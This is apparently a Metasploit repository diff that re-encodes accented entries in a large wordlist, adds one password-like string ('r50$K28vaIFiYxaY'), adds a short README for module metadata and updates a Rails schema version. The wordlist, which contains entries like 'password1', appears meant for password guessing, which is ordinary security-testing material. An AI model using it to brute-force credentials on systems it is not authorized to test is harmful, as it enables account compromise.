|
||||
canaries
|
||||
canary
|
||||
@@ -13334,11 +13334,11 @@ chutzpahs
|
||||
chuvash
|
||||
chweni
|
||||
chyme
|
||||
château
|
||||
châteaus
|
||||
châteaux
|
||||
châtelaine
|
||||
châtelaines
|
||||
château
|
||||
châteaus
|
||||
châteaux
|
||||
châtelaine
|
||||
châtelaines
|
||||
ci
|
||||
cia
|
||||
ciao
|
||||
@@ -13840,15 +13840,15 @@ clewer
|
||||
cliburn
|
||||
cliche
|
||||
cliched
|
||||
cliché
|
||||
clichéd
|
||||
clichés
|
||||
cliché
|
||||
clichéd
|
||||
clichés
|
||||
click
|
||||
clicker
|
||||
clicking
|
||||
client
|
||||
clientele
|
||||
clientèle
|
||||
clientèle
|
||||
cliff
|
||||
cliff-hanger
|
||||
cliffdale
|
||||
@@ -13951,7 +13951,7 @@ clogged
|
||||
clogging
|
||||
cloisonne
|
||||
cloisonnes
|
||||
cloisonné
|
||||
cloisonné
|
||||
cloister
|
||||
cloistral
|
||||
clomp
|
||||
@@ -14968,7 +14968,7 @@ communing
|
||||
communion
|
||||
communique
|
||||
communiques
|
||||
communiqué
|
||||
communiqué
|
||||
communise
|
||||
communism
|
||||
communist
|
||||
@@ -15196,8 +15196,8 @@ computerize
|
||||
computes
|
||||
computicket
|
||||
computing
|
||||
compère
|
||||
compères
|
||||
compère
|
||||
compères
|
||||
comrade
|
||||
comradeliest
|
||||
comradeliness
|
||||
@@ -15241,7 +15241,7 @@ concentrator
|
||||
concentric
|
||||
concentrically
|
||||
concepcion
|
||||
concepción
|
||||
concepción
|
||||
concept
|
||||
conception
|
||||
conceptional
|
||||
@@ -15504,8 +15504,8 @@ confrontation
|
||||
confrontational
|
||||
confrontationally
|
||||
confronter
|
||||
confrère
|
||||
confrères
|
||||
confrère
|
||||
confrères
|
||||
confucian
|
||||
confucianism
|
||||
confucius
|
||||
@@ -15755,8 +15755,8 @@ consolidation
|
||||
consolidator
|
||||
consoling
|
||||
consomme
|
||||
consommé
|
||||
consommés
|
||||
consommé
|
||||
consommés
|
||||
consonance
|
||||
consonances
|
||||
consonant
|
||||
@@ -16539,8 +16539,8 @@ cortisone
|
||||
cortland
|
||||
cortney
|
||||
corty
|
||||
cortège
|
||||
cortèges
|
||||
cortège
|
||||
cortèges
|
||||
corundum
|
||||
coruscate
|
||||
coruscation
|
||||
@@ -16657,8 +16657,8 @@ coulis
|
||||
coulomb
|
||||
coulter
|
||||
coulthard
|
||||
coulée
|
||||
coulées
|
||||
coulée
|
||||
coulées
|
||||
council
|
||||
councillor
|
||||
councilman
|
||||
@@ -16791,7 +16791,7 @@ couples
|
||||
couplet
|
||||
coupling
|
||||
coupon
|
||||
coupé
|
||||
coupé
|
||||
cour
|
||||
courage
|
||||
courageous
|
||||
@@ -17506,8 +17506,8 @@ crowning
|
||||
crows
|
||||
croydon
|
||||
crozier
|
||||
croûton
|
||||
croûtons
|
||||
croûton
|
||||
croûtons
|
||||
crt
|
||||
crucial
|
||||
cruciate
|
||||
@@ -17526,7 +17526,7 @@ crude
|
||||
crudeness
|
||||
crudites
|
||||
crudity
|
||||
crudités
|
||||
crudités
|
||||
cruel
|
||||
cruelled
|
||||
cruelling
|
||||
@@ -17634,12 +17634,12 @@ crystallographer
|
||||
crystallographic
|
||||
crystallography
|
||||
crystie
|
||||
crèche
|
||||
crèches
|
||||
crème
|
||||
crêpe
|
||||
crêpes
|
||||
crêpey
|
||||
crèche
|
||||
crèches
|
||||
crème
|
||||
crêpe
|
||||
crêpes
|
||||
crêpey
|
||||
cs
|
||||
csa
|
||||
cse
|
||||
@@ -18113,7 +18113,7 @@ czechoslovakian
|
||||
czechs
|
||||
czerniak
|
||||
czerny
|
||||
côte
|
||||
côte
|
||||
d
|
||||
da
|
||||
daantjie
|
||||
@@ -18299,7 +18299,7 @@ damson
|
||||
dan
|
||||
dana
|
||||
danarand
|
||||
danaë
|
||||
danaë
|
||||
danbury
|
||||
dance
|
||||
danceable
|
||||
@@ -19951,8 +19951,8 @@ derrik
|
||||
derril
|
||||
derrinallum
|
||||
derringer
|
||||
derrière
|
||||
derrières
|
||||
derrière
|
||||
derrières
|
||||
derron
|
||||
derry
|
||||
dersley
|
||||
@@ -20447,7 +20447,7 @@ diamagnetic
|
||||
diamante
|
||||
diamanthoogte
|
||||
diamantina
|
||||
diamanté
|
||||
diamanté
|
||||
diameter
|
||||
diametric
|
||||
diametrical
|
||||
@@ -21077,8 +21077,8 @@ discordant
|
||||
discorporate
|
||||
discorporated
|
||||
discotheque
|
||||
discothèque
|
||||
discothèques
|
||||
discothèque
|
||||
discothèques
|
||||
discount
|
||||
discountability
|
||||
discountable
|
||||
@@ -21613,9 +21613,9 @@ divisor
|
||||
divorce
|
||||
divorcee
|
||||
divorcement
|
||||
divorcé
|
||||
divorcée
|
||||
divorcées
|
||||
divorcé
|
||||
divorcée
|
||||
divorcées
|
||||
divot
|
||||
divulge
|
||||
divvy
|
||||
@@ -22000,7 +22000,7 @@ dopiness
|
||||
dopinesses
|
||||
doping
|
||||
doppelganger
|
||||
doppelgänger
|
||||
doppelgänger
|
||||
doppies
|
||||
doppler
|
||||
dopy
|
||||
@@ -22077,7 +22077,7 @@ dorthea
|
||||
dorthy
|
||||
dortmund
|
||||
dory
|
||||
doré
|
||||
doré
|
||||
dos
|
||||
dosage
|
||||
dose
|
||||
@@ -22553,7 +22553,7 @@ drowse
|
||||
drowsily
|
||||
drowsiness
|
||||
drowsy
|
||||
droëwors
|
||||
droëwors
|
||||
dru
|
||||
drub
|
||||
drubbed
|
||||
@@ -22948,7 +22948,7 @@ duynefontein
|
||||
dvd
|
||||
dvina
|
||||
dvorak
|
||||
dvorák
|
||||
dvorák
|
||||
dwaal
|
||||
dwaalboom
|
||||
dwain
|
||||
@@ -23034,33 +23034,33 @@ dzimauli
|
||||
dzongkha
|
||||
dzumeri
|
||||
dzungaria
|
||||
début
|
||||
débutante
|
||||
débutantes
|
||||
débuts
|
||||
débâcle
|
||||
débâcles
|
||||
déclassé
|
||||
déclassée
|
||||
décolletage
|
||||
décolletages
|
||||
décolleté
|
||||
décolletée
|
||||
décor
|
||||
décors
|
||||
découpage
|
||||
déjà
|
||||
démodé
|
||||
dénouement
|
||||
dépaysé
|
||||
dépaysée
|
||||
dérailleur
|
||||
dérailleurs
|
||||
déshabillé
|
||||
détente
|
||||
détentes
|
||||
dürer
|
||||
düsseldorf
|
||||
début
|
||||
débutante
|
||||
débutantes
|
||||
débuts
|
||||
débâcle
|
||||
débâcles
|
||||
déclassé
|
||||
déclassée
|
||||
décolletage
|
||||
décolletages
|
||||
décolleté
|
||||
décolletée
|
||||
décor
|
||||
décors
|
||||
découpage
|
||||
déjà
|
||||
démodé
|
||||
dénouement
|
||||
dépaysé
|
||||
dépaysée
|
||||
dérailleur
|
||||
dérailleurs
|
||||
déshabillé
|
||||
détente
|
||||
détentes
|
||||
dürer
|
||||
düsseldorf
|
||||
e
|
||||
e-commerce
|
||||
e-mail
|
||||
@@ -24137,7 +24137,7 @@ elysia
|
||||
elysian
|
||||
elysium
|
||||
elyssa
|
||||
elysée
|
||||
elysée
|
||||
em
|
||||
ema
|
||||
emabheleni
|
||||
@@ -24869,8 +24869,8 @@ entreatingly
|
||||
entreaty
|
||||
entrechat
|
||||
entrecote
|
||||
entrecôte
|
||||
entrecôtes
|
||||
entrecôte
|
||||
entrecôtes
|
||||
entree
|
||||
entrees
|
||||
entremets
|
||||
@@ -24880,8 +24880,8 @@ entrepot
|
||||
entrepreneur
|
||||
entrepreneurial
|
||||
entrepreneurship
|
||||
entrepôt
|
||||
entrepôts
|
||||
entrepôt
|
||||
entrepôts
|
||||
entries
|
||||
entropic
|
||||
entropy
|
||||
@@ -24890,8 +24890,8 @@ entry
|
||||
entryphone
|
||||
entryphones
|
||||
entryway
|
||||
entrée
|
||||
entrées
|
||||
entrée
|
||||
entrées
|
||||
entshonalanga
|
||||
entshongwe
|
||||
entumbane
|
||||
@@ -25442,7 +25442,7 @@ ester
|
||||
estera
|
||||
esterase
|
||||
esterhazy
|
||||
esterházy
|
||||
esterházy
|
||||
esterpark
|
||||
estes
|
||||
estevan
|
||||
@@ -26239,8 +26239,8 @@ expository
|
||||
expostulate
|
||||
expostulation
|
||||
exposure
|
||||
exposé
|
||||
exposés
|
||||
exposé
|
||||
exposés
|
||||
expound
|
||||
expounder
|
||||
express
|
||||
@@ -26493,7 +26493,7 @@ fab
|
||||
fabe
|
||||
faber
|
||||
faberge
|
||||
fabergé
|
||||
fabergé
|
||||
fabian
|
||||
fabiano
|
||||
fabians
|
||||
@@ -27073,10 +27073,10 @@ fays
|
||||
fayth
|
||||
faythe
|
||||
faze
|
||||
façade
|
||||
façades
|
||||
faïence
|
||||
faïences
|
||||
façade
|
||||
façades
|
||||
faïence
|
||||
faïences
|
||||
fbi
|
||||
fcc
|
||||
fd
|
||||
@@ -27438,10 +27438,10 @@ fi
|
||||
fia
|
||||
fiance
|
||||
fiancee
|
||||
fiancé
|
||||
fiancée
|
||||
fiancées
|
||||
fiancés
|
||||
fiancé
|
||||
fiancée
|
||||
fiancées
|
||||
fiancés
|
||||
fiann
|
||||
fianna
|
||||
fiasco
|
||||
@@ -28051,10 +28051,10 @@ flambes
|
||||
flamboyance
|
||||
flamboyancy
|
||||
flamboyant
|
||||
flambé
|
||||
flambéed
|
||||
flambéing
|
||||
flambés
|
||||
flambé
|
||||
flambéed
|
||||
flambéing
|
||||
flambés
|
||||
flame
|
||||
flame-proof
|
||||
flame-proofed
|
||||
@@ -29111,7 +29111,7 @@ fosterer
|
||||
fostering
|
||||
fotomat
|
||||
foucault
|
||||
fouché
|
||||
fouché
|
||||
fought
|
||||
foul
|
||||
foul-mouth
|
||||
@@ -29306,14 +29306,14 @@ franticness
|
||||
frants
|
||||
franz
|
||||
franzen
|
||||
françois
|
||||
françoise
|
||||
françois
|
||||
françoise
|
||||
frap
|
||||
frappe
|
||||
frappeed
|
||||
frappeing
|
||||
frappes
|
||||
frappé
|
||||
frappé
|
||||
frasco
|
||||
fraser
|
||||
fraserburg
|
||||
@@ -29993,11 +29993,11 @@ fy
|
||||
fyi
|
||||
fynbos
|
||||
fynnland
|
||||
fête
|
||||
fêtes
|
||||
föhn
|
||||
führer
|
||||
führers
|
||||
fête
|
||||
fêtes
|
||||
föhn
|
||||
führer
|
||||
führers
|
||||
g
|
||||
g-string
|
||||
g-strings
|
||||
@@ -30428,8 +30428,8 @@ garwin
|
||||
garwood
|
||||
gary
|
||||
garza
|
||||
garçon
|
||||
garçons
|
||||
garçon
|
||||
garçons
|
||||
gas
|
||||
gas-permeable
|
||||
gasbag
|
||||
@@ -31012,7 +31012,7 @@ gettysburg
|
||||
getup
|
||||
gewgaw
|
||||
gewurztraminer
|
||||
gewürztraminer
|
||||
gewürztraminer
|
||||
geysdorp
|
||||
geyser
|
||||
gezangave
|
||||
@@ -31316,10 +31316,10 @@ glaciological
|
||||
glaciologist
|
||||
glaciology
|
||||
glacis
|
||||
glacé
|
||||
glacéed
|
||||
glacéing
|
||||
glacés
|
||||
glacé
|
||||
glacéed
|
||||
glacéing
|
||||
glacés
|
||||
glad
|
||||
gladded
|
||||
gladden
|
||||
@@ -32726,11 +32726,11 @@ grus
|
||||
grusky
|
||||
gruyere
|
||||
gruyeres
|
||||
gruyère
|
||||
gruyère
|
||||
gryphon
|
||||
grysvok
|
||||
grâce
|
||||
grünewald
|
||||
grâce
|
||||
grünewald
|
||||
gs
|
||||
gsa
|
||||
gsm
|
||||
@@ -33098,8 +33098,8 @@ gyromagnetic
|
||||
gyroscope
|
||||
gyroscopic
|
||||
gyve
|
||||
gödel
|
||||
göteborg
|
||||
gödel
|
||||
göteborg
|
||||
h
|
||||
h2opolo
|
||||
ha
|
||||
@@ -33137,8 +33137,8 @@ habitualness
|
||||
habituate
|
||||
habituation
|
||||
habitue
|
||||
habitué
|
||||
habitués
|
||||
habitué
|
||||
habitués
|
||||
hacienda
|
||||
hack
|
||||
hackable
|
||||
@@ -36618,7 +36618,7 @@ hysterical
|
||||
hystericism
|
||||
hyundai
|
||||
hz
|
||||
héloise
|
||||
héloise
|
||||
i
|
||||
i.e.
|
||||
ia
|
||||
@@ -38232,8 +38232,8 @@ inguinal
|
||||
ingunna
|
||||
ingvar
|
||||
ingwavuma
|
||||
ingénue
|
||||
ingénues
|
||||
ingénue
|
||||
ingénues
|
||||
inhabit
|
||||
inhabitable
|
||||
inhabitance
|
||||
@@ -39844,8 +39844,8 @@ jakey
|
||||
jakie
|
||||
jakob
|
||||
jalapeno
|
||||
jalapeño
|
||||
jalapeños
|
||||
jalapeño
|
||||
jalapeños
|
||||
jalopy
|
||||
jalousie
|
||||
jam
|
||||
@@ -39963,8 +39963,8 @@ jarad
|
||||
jard
|
||||
jardine
|
||||
jardiniere
|
||||
jardinière
|
||||
jardinières
|
||||
jardinière
|
||||
jardinières
|
||||
jareb
|
||||
jared
|
||||
jarful
|
||||
@@ -40579,7 +40579,7 @@ jostle
|
||||
jostling
|
||||
josue
|
||||
josy
|
||||
josé
|
||||
josé
|
||||
jot
|
||||
jotted
|
||||
jotter
|
||||
@@ -41766,8 +41766,8 @@ kinder
|
||||
kindergarten
|
||||
kindergartener
|
||||
kindergartner
|
||||
kindergärtner
|
||||
kindergärtners
|
||||
kindergärtner
|
||||
kindergärtners
|
||||
kindest
|
||||
kindhearted
|
||||
kindheartedness
|
||||
@@ -42434,8 +42434,8 @@ krystal
|
||||
krystalle
|
||||
krystle
|
||||
krystyna
|
||||
króna
|
||||
krónur
|
||||
króna
|
||||
krónur
|
||||
ks
|
||||
kshatriya
|
||||
kt
|
||||
@@ -42926,7 +42926,7 @@ lamport
|
||||
lamppost
|
||||
lamprey
|
||||
lampshade
|
||||
lamé
|
||||
lamé
|
||||
lan
|
||||
lana
|
||||
lanae
|
||||
@@ -44646,8 +44646,8 @@ littleness
|
||||
littleton
|
||||
litton
|
||||
littoral
|
||||
littérateur
|
||||
littérateurs
|
||||
littérateur
|
||||
littérateurs
|
||||
liturgic
|
||||
liturgical
|
||||
liturgics
|
||||
@@ -44939,7 +44939,7 @@ lombard
|
||||
lombardi
|
||||
lombardy
|
||||
lome
|
||||
lomé
|
||||
lomé
|
||||
lon
|
||||
lona
|
||||
london
|
||||
@@ -45496,7 +45496,7 @@ luminescent
|
||||
luminosity
|
||||
luminous
|
||||
luminousness
|
||||
lumière
|
||||
lumière
|
||||
lumku
|
||||
lummox
|
||||
lump
|
||||
@@ -45655,7 +45655,7 @@ lychgate
|
||||
lycopodium
|
||||
lycra
|
||||
lycurgus
|
||||
lycée
|
||||
lycée
|
||||
lyda
|
||||
lydenburg
|
||||
lydia
|
||||
@@ -45858,8 +45858,8 @@ macos
|
||||
macpaint
|
||||
macquarie
|
||||
macrame
|
||||
macramé
|
||||
macramés
|
||||
macramé
|
||||
macramés
|
||||
macro
|
||||
macrobiotic
|
||||
macrobiotics
|
||||
@@ -46414,7 +46414,7 @@ mallala
|
||||
mallapunyah
|
||||
mallard
|
||||
mallarme
|
||||
mallarmé
|
||||
mallarmé
|
||||
malleability
|
||||
malleable
|
||||
malleableness
|
||||
@@ -46696,7 +46696,7 @@ manorial
|
||||
manpower
|
||||
manque
|
||||
manquzu
|
||||
manqué
|
||||
manqué
|
||||
mans
|
||||
mansard
|
||||
manse
|
||||
@@ -46758,10 +46758,10 @@ manzengwenya
|
||||
manzi
|
||||
manzibomvu
|
||||
manzimahle
|
||||
manège
|
||||
manèged
|
||||
manèges
|
||||
manèging
|
||||
manège
|
||||
manèged
|
||||
manèges
|
||||
manèging
|
||||
mao
|
||||
maoism
|
||||
maoist
|
||||
@@ -47448,7 +47448,7 @@ matimatolo
|
||||
matinee
|
||||
mating
|
||||
matins
|
||||
matinée
|
||||
matinée
|
||||
matisse
|
||||
matiwane
|
||||
matjeka
|
||||
@@ -47540,8 +47540,8 @@ matzoh
|
||||
matzot
|
||||
matzoth
|
||||
matzotshweni
|
||||
matériel
|
||||
matériels
|
||||
matériel
|
||||
matériels
|
||||
mau
|
||||
maubane
|
||||
maud
|
||||
@@ -47688,8 +47688,8 @@ mazourka
|
||||
mazurka
|
||||
mazy
|
||||
mazzini
|
||||
maître
|
||||
mañana
|
||||
maître
|
||||
mañana
|
||||
mb
|
||||
mba
|
||||
mbabane
|
||||
@@ -51549,15 +51549,15 @@ mzomusha
|
||||
mzonga
|
||||
mzonyane
|
||||
mzotho
|
||||
mélange
|
||||
mémoire
|
||||
ménage
|
||||
métier
|
||||
métiers
|
||||
mêlée
|
||||
mêlées
|
||||
möbius
|
||||
münchhausen
|
||||
mélange
|
||||
mémoire
|
||||
ménage
|
||||
métier
|
||||
métiers
|
||||
mêlée
|
||||
mêlées
|
||||
möbius
|
||||
münchhausen
|
||||
n
|
||||
na
|
||||
naaco
|
||||
@@ -51632,8 +51632,8 @@ naive
|
||||
naiveness
|
||||
naivete
|
||||
naivety
|
||||
naiveté
|
||||
naivetés
|
||||
naiveté
|
||||
naivetés
|
||||
nakamura
|
||||
nakayama
|
||||
naked
|
||||
@@ -51939,13 +51939,13 @@ nazca
|
||||
nazi
|
||||
naziism
|
||||
nazism
|
||||
naïve
|
||||
naïvely
|
||||
naïveness
|
||||
naïveties
|
||||
naïvety
|
||||
naïveté
|
||||
naïvetés
|
||||
naïve
|
||||
naïvely
|
||||
naïveness
|
||||
naïveties
|
||||
naïvety
|
||||
naïveté
|
||||
naïvetés
|
||||
nb
|
||||
nba
|
||||
nbc
|
||||
@@ -52136,8 +52136,8 @@ negligent
|
||||
negligibility
|
||||
negligible
|
||||
negligibly
|
||||
negligée
|
||||
negligées
|
||||
negligée
|
||||
negligées
|
||||
negotiability
|
||||
negotiable
|
||||
negotiant
|
||||
@@ -54074,10 +54074,10 @@ nouakchott
|
||||
nougat
|
||||
nought
|
||||
noumea
|
||||
nouméa
|
||||
nouméa
|
||||
noun
|
||||
nounal
|
||||
nounéa
|
||||
nounéa
|
||||
noupoort
|
||||
nourish
|
||||
nourished
|
||||
@@ -54431,10 +54431,10 @@ nzima
|
||||
nzimakazi
|
||||
nzokhulayo
|
||||
nzombane
|
||||
nè
|
||||
né
|
||||
née
|
||||
négligé
|
||||
nè
|
||||
né
|
||||
née
|
||||
négligé
|
||||
o
|
||||
oaf
|
||||
oafish
|
||||
@@ -55069,7 +55069,7 @@ olympian
|
||||
olympic
|
||||
olympie
|
||||
olympus
|
||||
olé
|
||||
olé
|
||||
om
|
||||
omagh
|
||||
omaha
|
||||
@@ -55933,7 +55933,7 @@ outrigger
|
||||
outright
|
||||
outrun
|
||||
outrunning
|
||||
outré
|
||||
outré
|
||||
outscore
|
||||
outsell
|
||||
outset
|
||||
@@ -57060,7 +57060,7 @@ paranoiac
|
||||
paranoid
|
||||
paranormal
|
||||
paranormally
|
||||
paraná
|
||||
paraná
|
||||
parapet
|
||||
paraphernalia
|
||||
paraphrase
|
||||
@@ -57357,8 +57357,8 @@ passwd
|
||||
password
|
||||
password1
|
||||
passworded
|
||||
passé
|
||||
passée
|
||||
passé
|
||||
passée
|
||||
past
|
||||
pasta
|
||||
paste
|
||||
@@ -59360,10 +59360,10 @@ pizzazz
|
||||
pizzeria
|
||||
pizzicati
|
||||
pizzicato
|
||||
piñata
|
||||
piñatas
|
||||
piñon
|
||||
piñons
|
||||
piñata
|
||||
piñatas
|
||||
piñon
|
||||
piñons
|
||||
pj
|
||||
pk
|
||||
pkg
|
||||
@@ -59854,7 +59854,7 @@ poignancy
|
||||
poignant
|
||||
poikilothermic
|
||||
poincare
|
||||
poincaré
|
||||
poincaré
|
||||
poinciana
|
||||
poincianas
|
||||
poindexter
|
||||
@@ -60303,8 +60303,8 @@ portie
|
||||
portiere
|
||||
porting
|
||||
portion
|
||||
portière
|
||||
portières
|
||||
portière
|
||||
portières
|
||||
portland
|
||||
portliness
|
||||
portly
|
||||
@@ -61002,10 +61002,10 @@ premise
|
||||
premiss
|
||||
premium
|
||||
premix
|
||||
première
|
||||
premièred
|
||||
premières
|
||||
premièring
|
||||
première
|
||||
premièred
|
||||
premières
|
||||
premièring
|
||||
premolar
|
||||
premonition
|
||||
premonitory
|
||||
@@ -61923,10 +61923,10 @@ protrusively
|
||||
protrusiveness
|
||||
protuberance
|
||||
protuberant
|
||||
protégé
|
||||
protégée
|
||||
protégées
|
||||
protégés
|
||||
protégé
|
||||
protégée
|
||||
protégées
|
||||
protégés
|
||||
proud
|
||||
proudhon
|
||||
proust
|
||||
@@ -61946,7 +61946,7 @@ provence
|
||||
provender
|
||||
provenience
|
||||
provenly
|
||||
provençal
|
||||
provençal
|
||||
prover
|
||||
proverb
|
||||
proverbial
|
||||
@@ -62019,10 +62019,10 @@ pryce
|
||||
pryer
|
||||
prying
|
||||
pryor
|
||||
précis
|
||||
précised
|
||||
précises
|
||||
précising
|
||||
précis
|
||||
précised
|
||||
précises
|
||||
précising
|
||||
ps
|
||||
psalm
|
||||
psalmist
|
||||
@@ -62429,10 +62429,10 @@ purvey
|
||||
purveyance
|
||||
purveyor
|
||||
purview
|
||||
purée
|
||||
puréed
|
||||
puréeing
|
||||
purées
|
||||
purée
|
||||
puréed
|
||||
puréeing
|
||||
purées
|
||||
pus
|
||||
pusan
|
||||
pusey
|
||||
@@ -62580,10 +62580,10 @@ pyxidia
|
||||
pyxidium
|
||||
pyxis
|
||||
pzazz
|
||||
pâté
|
||||
pères
|
||||
pétain
|
||||
pôrto
|
||||
pâté
|
||||
pères
|
||||
pétain
|
||||
pôrto
|
||||
q
|
||||
q-tips.
|
||||
q-town
|
||||
@@ -63018,6 +63018,7 @@ r1
|
||||
r1s
|
||||
r4
|
||||
r4s
|
||||
r50$K28vaIFiYxaY
|
||||
ra
|
||||
raapkraal
|
||||
rab
|
||||
@@ -63215,7 +63216,7 @@ ragingly
|
||||
raglan
|
||||
ragnar
|
||||
ragnarok
|
||||
ragnarök
|
||||
ragnarök
|
||||
ragout
|
||||
rags-to-riches
|
||||
ragtag
|
||||
@@ -64150,7 +64151,7 @@ recharter
|
||||
recheck
|
||||
recherche
|
||||
recherches
|
||||
recherché
|
||||
recherché
|
||||
rechristen
|
||||
recidivism
|
||||
recidivist
|
||||
@@ -65462,7 +65463,7 @@ repute
|
||||
reputed
|
||||
reputes
|
||||
reputing
|
||||
repêchage
|
||||
repêchage
|
||||
request
|
||||
requested
|
||||
requester
|
||||
@@ -66490,7 +66491,7 @@ risorgimento
|
||||
risotto
|
||||
rispark
|
||||
risque
|
||||
risqué
|
||||
risqué
|
||||
rissole
|
||||
rita
|
||||
ritalin
|
||||
@@ -67101,7 +67102,7 @@ rostropovich
|
||||
rostrum
|
||||
roswell
|
||||
rosy
|
||||
rosé
|
||||
rosé
|
||||
rot
|
||||
rot-gut
|
||||
rota
|
||||
@@ -67211,8 +67212,8 @@ routinize
|
||||
rouvin
|
||||
roux
|
||||
rouxville
|
||||
roué
|
||||
roués
|
||||
roué
|
||||
roués
|
||||
rove
|
||||
rover
|
||||
roving
|
||||
@@ -67604,13 +67605,13 @@ ryon
|
||||
rysmierbult
|
||||
ryukyu
|
||||
ryun
|
||||
régime
|
||||
régimes
|
||||
résumé
|
||||
résumés
|
||||
réunion
|
||||
rôle
|
||||
rôles
|
||||
régime
|
||||
régimes
|
||||
résumé
|
||||
résumés
|
||||
réunion
|
||||
rôle
|
||||
rôles
|
||||
s
|
||||
sa
|
||||
saa
|
||||
@@ -68354,10 +68355,10 @@ saussure
|
||||
saute
|
||||
sauterne
|
||||
sauternes
|
||||
sauté
|
||||
sautéed
|
||||
sautéing
|
||||
sautés
|
||||
sauté
|
||||
sautéed
|
||||
sautéing
|
||||
sautés
|
||||
sauveur
|
||||
savable
|
||||
savage
|
||||
@@ -68721,7 +68722,7 @@ schrod
|
||||
schrodinger
|
||||
schroeder
|
||||
schroedinger
|
||||
schrödinger
|
||||
schrödinger
|
||||
schtick
|
||||
schubert
|
||||
schuinshoogte
|
||||
@@ -70196,12 +70197,12 @@ seychelles
|
||||
seyfert
|
||||
seymour
|
||||
sezela
|
||||
señor
|
||||
señora
|
||||
señoras
|
||||
señores
|
||||
señorita
|
||||
señoritas
|
||||
señor
|
||||
señora
|
||||
señoras
|
||||
señores
|
||||
señorita
|
||||
señoritas
|
||||
sf
|
||||
sforzandi
|
||||
sforzando
|
||||
@@ -72452,7 +72453,7 @@ smutting
|
||||
smutty
|
||||
smyrna
|
||||
smythesdale
|
||||
smörgåsbord
|
||||
smörgåsbord
|
||||
sn
|
||||
snaaks
|
||||
snack
|
||||
@@ -72823,13 +72824,13 @@ soi
|
||||
soi-disant
|
||||
soigne
|
||||
soignee
|
||||
soigné
|
||||
soigné
|
||||
soil
|
||||
soiled
|
||||
soiling
|
||||
soiree
|
||||
soirée
|
||||
soirées
|
||||
soirée
|
||||
soirées
|
||||
sojourn
|
||||
sojourner
|
||||
sojourning
|
||||
@@ -73126,8 +73127,8 @@ sottish
|
||||
sou
|
||||
soubriquet
|
||||
souffle
|
||||
soufflé
|
||||
soufflés
|
||||
soufflé
|
||||
soufflés
|
||||
sough
|
||||
soughing
|
||||
soughs
|
||||
@@ -73161,8 +73162,8 @@ soup
|
||||
soupcon
|
||||
souphanouvong
|
||||
soupy
|
||||
soupçon
|
||||
soupçons
|
||||
soupçon
|
||||
soupçons
|
||||
sour
|
||||
source
|
||||
sourced
|
||||
@@ -76890,9 +76891,9 @@ szechuan
|
||||
szechwan
|
||||
szilard
|
||||
szymborska
|
||||
são
|
||||
séance
|
||||
séances
|
||||
são
|
||||
séance
|
||||
séances
|
||||
t
|
||||
t-bone
|
||||
t-junction
|
||||
@@ -77263,7 +77264,7 @@ tannery
|
||||
tannest
|
||||
tanney
|
||||
tannhauser
|
||||
tannhäuser
|
||||
tannhäuser
|
||||
tannie
|
||||
tannin
|
||||
tanning
|
||||
@@ -78405,7 +78406,7 @@ thespis
|
||||
thessalonian
|
||||
thessalonians
|
||||
thessaloniki
|
||||
thessaloníki
|
||||
thessaloníki
|
||||
thessaly
|
||||
theta
|
||||
theunissen
|
||||
@@ -79406,7 +79407,7 @@ tomorrow
|
||||
tompkins
|
||||
tomsk
|
||||
tomtit
|
||||
tomé
|
||||
tomé
|
||||
ton
|
||||
tonal
|
||||
tonality
|
||||
@@ -79700,7 +79701,7 @@ touchstone
|
||||
touchwood
|
||||
touchy
|
||||
touchy-feely
|
||||
touché
|
||||
touché
|
||||
tough
|
||||
tough-minded
|
||||
toughen
|
||||
@@ -81328,10 +81329,10 @@ tzarist
|
||||
tzatziki
|
||||
tzeltal
|
||||
tzigane
|
||||
tête
|
||||
tête-bêche
|
||||
tête-à-tête
|
||||
tórshavn
|
||||
tête
|
||||
tête-bêche
|
||||
tête-à-tête
|
||||
tórshavn
|
||||
u
|
||||
uar
|
||||
uart
|
||||
@@ -83891,7 +83892,7 @@ valvoline
|
||||
valvular
|
||||
valvules
|
||||
valyland
|
||||
valéry
|
||||
valéry
|
||||
vamoose
|
||||
vamp
|
||||
vamped
|
||||
@@ -84138,8 +84139,8 @@ velvet
|
||||
velveted
|
||||
velveteen
|
||||
velvety
|
||||
velásquez
|
||||
velázquez
|
||||
velásquez
|
||||
velázquez
|
||||
venables
|
||||
venal
|
||||
venality
|
||||
@@ -84508,8 +84509,8 @@ victualer
|
||||
victualler
|
||||
victualling
|
||||
vicuna
|
||||
vicuña
|
||||
vicuñas
|
||||
vicuña
|
||||
vicuñas
|
||||
vida
|
||||
vidal
|
||||
vide
|
||||
@@ -84711,7 +84712,7 @@ virulence
|
||||
virulent
|
||||
virus
|
||||
vis
|
||||
vis-à-vis
|
||||
vis-à-vis
|
||||
visa
|
||||
visage
|
||||
visagiepark
|
||||
@@ -84938,13 +84939,13 @@ voidness
|
||||
voids
|
||||
voila
|
||||
voile
|
||||
voilà
|
||||
voilà
|
||||
voip
|
||||
vol
|
||||
vol-au-vent
|
||||
vol.
|
||||
volapuk
|
||||
volapük
|
||||
volapük
|
||||
volar
|
||||
volatile
|
||||
volatileness
|
||||
@@ -87786,7 +87787,7 @@ yankton
|
||||
yao
|
||||
yaobang
|
||||
yaounde
|
||||
yaoundé
|
||||
yaoundé
|
||||
yap
|
||||
yapped
|
||||
yapping
|
||||
@@ -88383,15 +88384,15 @@ zymurgy
|
||||
zyrtec
|
||||
zyuganov
|
||||
zzz
|
||||
zürich
|
||||
Ågar
|
||||
Ångström
|
||||
éclair
|
||||
éclairs
|
||||
éclat
|
||||
élan
|
||||
émigré
|
||||
émigrés
|
||||
épée
|
||||
étude
|
||||
zürich
|
||||
Ågar
|
||||
Ångström
|
||||
éclair
|
||||
éclairs
|
||||
éclat
|
||||
élan
|
||||
émigré
|
||||
émigrés
|
||||
épée
|
||||
étude
|
||||
vagrant
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
Contains `modules_metadata_base.json` which contains information about all modules within Metasploit, as well as
|
||||
`schema.rb` which describes current state of the database schema maintained by Rails ActiveRecord.
|
||||
+20367
-1066
File diff suppressed because it is too large
Load Diff
+3
-2
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
|
||||
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -314,8 +314,9 @@ ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
|
||||
t.datetime "created_at", precision: nil, null: false
|
||||
t.datetime "updated_at", precision: nil, null: false
|
||||
t.string "jtr_format"
|
||||
